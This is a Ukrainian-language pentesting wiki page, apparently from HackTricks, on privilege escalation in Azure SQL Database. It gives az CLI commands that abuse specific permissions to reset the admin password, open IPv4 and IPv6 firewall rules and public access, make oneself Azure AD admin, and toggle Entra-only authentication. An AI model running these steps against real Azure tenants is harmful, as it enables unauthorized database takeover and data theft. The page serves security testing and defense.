6.9 KiB
Az - SQL Database Privesc
{{#include ../../../banners/hacktricks-training.md}}
SQL Database Privesc
Для отримання додаткової інформації про SQL Database перегляньте:
{{#ref}} ../az-services/az-sql.md {{#endref}}
"Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write"
З цими дозволами користувач може виконати ескалацію привілеїв, оновлюючи або створюючи Azure SQL сервери та змінюючи критичні конфігурації, включаючи адміністративні облікові дані. Цей дозвіл дозволяє користувачу оновлювати властивості сервера, включаючи пароль адміністратора SQL сервера, що дозволяє несанкціонований доступ або контроль над сервером. Вони також можуть створювати нові сервери, потенційно вводячи тіньову інфраструктуру для зловмисних цілей. Це стає особливо критичним у середовищах, де "Microsoft Entra Authentication Only" вимкнено, оскільки вони можуть використовувати SQL-аутентифікацію для отримання необмеженого доступу.
# Change the server password
az sql server update \
--name <server_name> \
--resource-group <resource_group_name> \
--admin-password <new_password>
# Create a new server
az sql server create \
--name <new_server_name> \
--resource-group <resource_group_name> \
--location <location> \
--admin-user <admin_username> \
--admin-password <admin_password>
Додатково необхідно увімкнути публічний доступ, якщо ви хочете отримати доступ з непри приватної точки доступу, щоб увімкнути це:
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--enable-public-network true
"Microsoft.Sql/servers/firewallRules/write"
Зловмисник може маніпулювати правилами брандмауера на Azure SQL серверах, щоб дозволити несанкціонований доступ. Це можна використати для відкриття сервера для конкретних IP-адрес або цілих діапазонів IP, включаючи публічні IP, що дозволяє доступ для зловмисників. Ця діяльність після експлуатації може бути використана для обходу існуючих мережевих засобів безпеки, встановлення стійкості або полегшення латерального переміщення в середовищі шляхом відкриття чутливих ресурсів.
# Create Firewall Rule
az sql server firewall-rule create \
--name <new-firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <start-ip-address> \
--end-ip-address <end-ip-address>
# Update Firewall Rule
az sql server firewall-rule update \
--name <firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <new-start-ip-address> \
--end-ip-address <new-end-ip-address>
Додатково, Microsoft.Sql/servers/outboundFirewallRules/delete дозволяє вам видаляти правило брандмауера.
ПРИМІТКА: Необхідно мати увімкнений публічний доступ.
""Microsoft.Sql/servers/ipv6FirewallRules/write"
З цим дозволом ви можете створювати, змінювати або видаляти правила брандмауера IPv6 на Azure SQL Server. Це може дозволити зловмиснику або авторизованому користувачу обійти існуючі конфігурації мережевої безпеки та отримати несанкціонований доступ до сервера. Додавши правило, яке дозволяє трафік з будь-якої IPv6 адреси, зловмисник може відкрити сервер для зовнішнього доступу.
az sql server firewall-rule create \
--server <server_name> \
--resource-group <resource_group_name> \
--name <rule_name> \
--start-ip-address <start_ipv6_address> \
--end-ip-address <end_ipv6_address>
Додатково, Microsoft.Sql/servers/ipv6FirewallRules/delete дозволяє вам видаляти правило брандмауера.
ПРИМІТКА: Необхідно мати увімкнений публічний доступ
"Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read"
З цими дозволами ви можете підвищити привілеї в середовищі Azure SQL Server, отримуючи доступ до SQL баз даних і витягуючи критичну інформацію. Використовуючи команду нижче, зловмисник або авторизований користувач можуть встановити себе або інший обліковий запис як адміністратора Azure AD. Якщо "Microsoft Entra Authentication Only" увімкнено, ви зможете отримати доступ до сервера та його екземплярів. Ось команда для встановлення адміністратора Azure AD для SQL сервера:
az sql server ad-admin create \
--server <server_name> \
--resource-group <resource_group_name> \
--display-name <admin_display_name> \
--object-id <azure_subscribtion_id>
"Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read"
З цими дозволами ви можете налаштувати та впровадити "Тільки автентифікацію Microsoft Entra" на Azure SQL Server, що може сприяти ескалації привілеїв у певних сценаріях. Зловмисник або авторизований користувач з цими дозволами можуть увімкнути або вимкнути автентифікацію лише для Azure AD.
#Enable
az sql server azure-ad-only-auth enable \
--server <server_name> \
--resource-group <resource_group_name>
#Disable
az sql server azure-ad-only-auth disable \
--server <server_name> \
--resource-group <resource_group_name>
{{#include ../../../banners/hacktricks-training.md}}